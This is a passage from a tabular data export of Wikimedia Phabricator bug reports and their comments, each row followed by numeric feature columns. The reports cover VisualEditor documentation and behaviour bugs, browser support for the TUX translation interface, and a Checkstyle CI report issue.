http://en.wikivoyage.org/wiki/Wikivoyage:Roadmap/Improved_editing_interface",,,1363529899,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,1,False,,,-16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.608695652173913,0.8260869565217391,"**lukebenes** wrote:

There is a discussion about this feature on the wikivoyage site here:
URL"
47872,VisualEditor: Clean up inconsistent documentation of event emissions,"Some events are undocumented (like ve.dm.Surface.prototype.change, which emits multiple events but documents none), most have the event name without quotes, but some have single quotes (ve.dm.Surface.addInsertionAnnotation) or double quotes (ve.ui.Toolbar.prototype.onContextChange). Parameters sometimes are documented and sometimes aren't, there's no clear distinction between ""parameters aren't documented"" and ""there aren't any"", and in no case do we document the types and descriptions of event parameters, we only ever document their names.

We probably also don't document events with @event nearly as often as we should. It's a huge mess.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1362706560,1363798993.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-ynwo2pb45ypgaglir47z,task_description,resolved,True,c1,1,False,False,True,-17,,1.5,0.0,0.0,1.0,2.5,5.0,0.5,0.0,0.0,0.0,2.0,2.5,0.0,1.5,1.0,3.0,0.0,8.5,3.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.5,0.0,3.0,0.0,0.5,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.5,5.0,0.0,4.0,5.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,4.5,3.0,2.0,0.0,2.0,0.0,4.5,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,4.720149253731343,0.6668129938542582,"Some events are undocumented (like ve.dm.Surface.prototype.change, which emits multiple events but documents none), most have the event name without quotes, but some have single quotes (ve.dm.Surface.addInsertionAnnotation) or double quotes (ve.ui.Toolbar.prototype.onContextChange). Parameters sometimes are documented and sometimes aren't, there's no clear distinction between ""parameters aren't documented"" and ""there aren't any"", and in no case do we document the types and descriptions of event parameters, we only ever document their names.

We probably also don't document events withSCREEN_NAME nearly as often as we should. It's a huge mess.

--------------------------
**Version**: unspecified
**Severity**: normal"
219343,VisualEditor: Clean up inconsistent documentation of event emissions,Change-Id: Id879aa769b2c72d86a0322e75dddeb868211ce28,,,1363763464,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ynwo2pb45ypgaglir47z,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: Id879aa769b2c72d86a0322e75dddeb868211ce28
219336,VisualEditor: Clean up inconsistent documentation of event emissions,Working on it.,,,1363762434,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ynwo2pb45ypgaglir47z,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,3.0,1.0,Working on it.
47871,VisualEditor: VE should be able to be 'default' for some namespaces and by user preference elsewise/in others,"Right now VE is either 'default' for some given namespaces, or enabled but only exposed by user preference for some namespaces; it should be possible to have a mixed-installation for testing/etc.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1362704940,1367604375.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jps6ok65jqx3whi4rc2h,task_description,invalid,True,c1,1,True,False,True,-17,,3.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,5.0,9.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,7.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,4.086206896551724,0.7586206896551724,"Right now VE is either 'default' for some given namespaces, or enabled but only exposed by user preference for some namespaces; it should be possible to have a mixed-installation for testing/etc.

--------------------------
**Version**: unspecified
**Severity**: normal"
219301,VisualEditor: VE should be able to be 'default' for some namespaces and by user preference elsewise/in others,"(In reply to comment #1)
> If enabled by default, can be disabled by preference?

Currently, yes, though we'll remove this preference when we go from ""opt-in"" to ""opt-out"" in July.

However, this bug isn't really necessary any more as we've just last week switched VE to default-on for Main, User and also the VisualEditor namespaces on mediawikiwiki. Closing as we no longer need this.",,,1367604375,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jps6ok65jqx3whi4rc2h,task_subcomment,,True,c1,1,True,,,-9,,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,1.0,0.0,7.0,4.0,0.0,0.0,0.0,5.0,0.0,11.0,17.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,12.0,2.0,1.0,6.0,0.0,0.0,0.0,1.0,5.0,1.0,1.0,0.0,5.0,17.0,7.0,0.0,5.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,3.4634146341463414,0.7317073170731707,"(In reply to comment #1)
QUOTE

Currently, yes, though we'll remove this preference when we go from ""opt-in"" to ""opt-out"" in July.

However, this bug isn't really necessary any more as we've just last week switched VE to default-on for Main, User and also the VisualEditor namespaces on mediawikiwiki. Closing as we no longer need this."
219298,VisualEditor: VE should be able to be 'default' for some namespaces and by user preference elsewise/in others,"If enabled by default, can be disabled by preference?",,,1367604125,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-jps6ok65jqx3whi4rc2h,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.9090909090909091,"If enabled by default, can be disabled by preference?"
47710,VisualEditor: split paragraphs in a listItem should not be considered 'wrapper' paragraphs,"Start a list item and type 'a', now hit shift-enter and type b.

Expected diff:
*a<p>b</p>

Actual diff:
*ab

The paragraph created when you create the list has internal.generated = 'wrapper'. This property gets copied when you split the list. Two wrapper paragraphs next to each other apparently get merged into one.

The only way wikitext can have two paragraphs in a list is with HTML so extra paragraphs must be full HTML paragraphs.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1362418080,1363373310.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-u7qyhofavuvw7qvhg5w6,task_description,resolved,True,c1,1,True,False,True,-17,,1.0,0.0,0.0,0.0,0.0,5.5,1.5,0.0,0.0,0.0,1.0,2.0,0.5,1.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,4.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,15.5,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.5,7.5,1.0,1.0,6.0,0.0,0.0,0.0,0.0,2.5,0.0,2.5,0.0,1.0,4.0,1.5,0.0,2.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,3.0,3.745762711864407,0.711864406779661,"Start a list item and type 'a', now hit shift-enter and type b.

Expected diff:
*a<p>b</p>

Actual diff:
*ab

The paragraph created when you create the list has internal.generated = 'wrapper'. This property gets copied when you split the list. Two wrapper paragraphs next to each other apparently get merged into one.

The only way wikitext can have two paragraphs in a list is with HTML so extra paragraphs must be full HTML paragraphs.

--------------------------
**Version**: unspecified
**Severity**: normal"
210202,VisualEditor: split paragraphs in a listItem should not be considered 'wrapper' paragraphs,Fixed by https://gerrit.wikimedia.org/r/#/c/52046/,,,1363373310,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-u7qyhofavuvw7qvhg5w6,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed by URL
47602,[TUX] Browser support matrix,"Create a list of supported browsers and document it.

Also make sure that TUX actually works with those browsers.

--------------------------
**Version**: master
**Severity**: enhancement
**URL**: http://www.mediawiki.org/wiki/VisualEditor/Target_browser_matrix",Medium,50.0,1362144360,1607415848.0,PHID-USER-732lqsmz4v6bss3kln2v,False,PHID-USER-732lqsmz4v6bss3kln2v,False,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_description,resolved,True,c1,1,True,True,False,-18,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.75,0.6041666666666666,"Create a list of supported browsers and document it.

Also make sure that TUX actually works with those browsers.

--------------------------
**Version**: master
**Severity**: enhancement
**URL**: URL"
1629093,[TUX] Browser support matrix,"We will follow MediaWiki's browser support matrix for Modern (Grade A). With increasing number of linters, and since this area of code is not rather stable, it is much less likely that we introduce issues that would not work on some of the supported browsers.",,,1607415848,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,3,True,,,388,,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,12.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,15.0,8.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.134615384615385,0.8653846153846154,"We will follow MediaWiki's browser support matrix for Modern (Grade A). With increasing number of linters, and since this area of code is not rather stable, it is much less likely that we introduce issues that would not work on some of the supported browsers."
227452,[TUX] Browser support matrix,"On (c), https://wikimedia.mingle.thoughtworks.com/projects/language_engineering/cards/4381 mentions IE, Firefox, Safari and Chrome, but no versions.",,,1408803169,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,3,True,,,59,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0526315789473686,0.8421052631578947,"On (c), URL mentions IE, Firefox, Safari and Chrome, but no versions."
227445,[TUX] Browser support matrix,"https://www.mediawiki.org/wiki/Compatibility was recently updated and may serve as starting point; there is no need to restate the obvious, but it's useful to highlight any deviation from common expectations.

As far as I can see, Special:Translate and others have some browser tests, but:
a) I have no idea how comprehensive they are; it would be useful to file bugs for any missing one which should be added;
b) I don't know for sure whether they're used or how and where the outcomes are reported, though I think there is some degree of usage as part of the monthly [[mw:MLEB]] release;
c) I have absolutely no idea about the browsers used for such tests.

Is anyone able to shed some light on these questions, or point to someone who knows?",,,1408802235,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,3,True,,,59,,2.5,1.0,0.5,1.5,0.5,5.5,0.5,0.0,0.5,0.0,2.0,1.0,0.0,0.0,1.0,3.0,0.0,4.5,10.5,1.0,2.0,0.5,0.0,0.0,0.5,1.0,0.0,0.5,1.0,0.5,0.0,7.5,2.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,10.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,2.5,4.5,6.0,3.0,4.0,8.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,5.0,10.5,1.5,0.5,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5,3.63125,0.8,"URL was recently updated and may serve as starting point; there is no need to restate the obvious, but it's useful to highlight any deviation from common expectations.

As far as I can see, Special:Translate and others have some browser tests, but:
a) I have no idea how comprehensive they are; it would be useful to file bugs for any missing one which should be added;
b) I don't know for sure whether they're used or how and where the outcomes are reported, though I think there is some degree of usage as part of the monthly [[mw:MLEB]] release;
c) I have absolutely no idea about the browsers used for such tests.

Is anyone able to shed some light on these questions, or point to someone who knows?"
227437,[TUX] Browser support matrix,Any updates on this?,,,1382785247,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,3,True,,,16,,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Any updates on this?
227432,[TUX] Browser support matrix,"Harsh: 
Do you plan to work on this any time soon?
Do you need any input from the QA/browsertesting team (that would mean adding chrismcmahon@ and zfilipin@ to the CC list of this bug report)?",,,1373281412,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,3,True,,,1,,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,11.0,2.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6136363636363638,0.8181818181818182,"Harsh: 
Do you plan to work on this any time soon?
Do you need any input from the QA/browsertesting team (that would mean adding chrismcmahon@ and zfilipin@ to the CC list of this bug report)?"
227423,[TUX] Browser support matrix,"We had triaged this bug last month and Harsh Kothari had wanted to work on this. I'm adding him on cc for this bug.

Harsh, would you be working on this any time soon? Thanks.",,,1370235510,,PHID-USER-ttw4tpoosxc4pbmskrla,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,1,False,,,-4,,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,12.0,5.0,2.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,3.380952380952381,0.7619047619047619,"We had triaged this bug last month and Harsh Kothari had wanted to work on this. I'm adding him on cc for this bug.

Harsh, would you be working on this any time soon? Thanks."
227417,[TUX] Browser support matrix,Runa: this has been assigned you a month ago. Could you provide a status updated and whether you are currently working on this?,,,1369473003,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,4.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,8.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.038461538461538,0.8461538461538461,Runa: this has been assigned you a month ago. Could you provide a status updated and whether you are currently working on this?
227411,[TUX] Browser support matrix,This is very much related to getting automated integration testing. Currently the scenarios are at http://etherpad.wikimedia.org/i18n-qa (ULS only so far). We should get at least 20 or so tests for TUX.,,,1362421102,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-yvmhgidy7jqjbjbp5sta,task_subcomment,,True,c1,1,False,,,-17,,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,25.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,17.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,11.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.8333333333333335,0.8888888888888888,This is very much related to getting automated integration testing. Currently the scenarios are at URL (ULS only so far). We should get at least 20 or so tests for TUX.
47445,VisualEditor: Implement remaining wrap(each) methods in SurfaceFragment,"unwrapNodes & rewrapNodes are not implemented, and wrapNodes doesn't calculate selections correctly.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1361910180,1368042225.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-fsxicsfwrmjxla4crdyz,task_description,resolved,True,c1,1,True,False,True,-18,,0.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.878787878787879,0.7272727272727273,"unwrapNodes & rewrapNodes are not implemented, and wrapNodes doesn't calculate selections correctly.

--------------------------
**Version**: unspecified
**Severity**: normal"
218564,VisualEditor: Implement remaining wrap(each) methods in SurfaceFragment,Answer: yes. Marking as fixed.,,,1368042225,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fsxicsfwrmjxla4crdyz,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.25,0.875,Answer: yes. Marking as fixed.
218555,VisualEditor: Implement remaining wrap(each) methods in SurfaceFragment,Isn't this now (long) done?,,,1367028640,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fsxicsfwrmjxla4crdyz,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5555555555555554,1.0,Isn't this now (long) done?
47395,"Checkstyle report unable to fetch context, showing ""No description available. Please upgrade to latest checkstyle version.""","e.g. https://integration.mediawiki.org/ci/job/mwext-Scribunto-jslint/233/checkstyleResult/file.984307183/type.1174449419/

It does that almost everywhere (including VisualEditor and MediaWiki core). Sometimes it does work though, weird.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1361834280,1372185531.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-jbdbttk2lguhy7gmvjn2,task_description,declined,True,c1,1,True,False,True,-18,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.136363636363637,0.7272727272727273,"e.g. URL

It does that almost everywhere (including VisualEditor and MediaWiki core). Sometimes it does work though, weird.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
215919,"Checkstyle report unable to fetch context, showing ""No description available. Please upgrade to latest checkstyle version."""," Timo said it had a very confusing output due to :
- our builds not chaining because of different patchsets being run
- disabled checks being listed anyway

